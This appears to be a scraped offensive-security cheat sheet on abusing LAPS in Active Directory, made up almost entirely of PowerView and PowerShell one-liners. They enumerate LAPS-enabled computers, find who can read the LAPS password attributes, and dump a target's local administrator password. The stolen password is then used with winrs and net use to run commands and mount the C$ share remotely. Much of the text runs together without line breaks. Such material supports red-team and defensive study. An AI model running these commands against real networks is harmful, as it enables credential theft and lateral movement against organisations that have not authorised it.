laps
Powershell
Get-DomainComputer | Where-object -property ms-Mcs-AdmPwdExpirationTime | select-object samaccountnamePowerview
Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {($_.ObjectAceType -like 'msLAPS-Password') -and ($_.ActiveDirectoryRights -match 'ReadProperty')} | ForEach-Object {$_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $_.SecurityIdentifier);$_}Get-DomainOU | Get-DomainObjectAcl -ResolveGUIDs | Where-Object {($_.ObjectAceType -like 'ms-Mcs-AdmPwd') -and ($_.ActiveDirectoryRights -match 'ReadProperty')} | ForEach-Object {$_ | Add-Member NoteProperty 'IdentityName' $(Convert-SidToName $_.SecurityIdentifier);$_}Get-DomainObject -Identity <targetmachine$> | select -ExpandProperty msLAPS-Password
Get-DomainObject -Identity <targetmachine$> | select -ExpandProperty ms-mcs-admpwdGet-ADComputer -Identity <targetmachine$> -Properties ms-mcs-admpwd | select -ExpandProperty ms-mcs-admpwdwinrs -r:<target-machine$> -u:.\Administrator -p:'$ubscr1beTo0xd4y' hostname
net use x: \\<target-machine$>\C$\Users\Public /user:notes\Administrator '$ubscr1beTo0xd4y'Last updated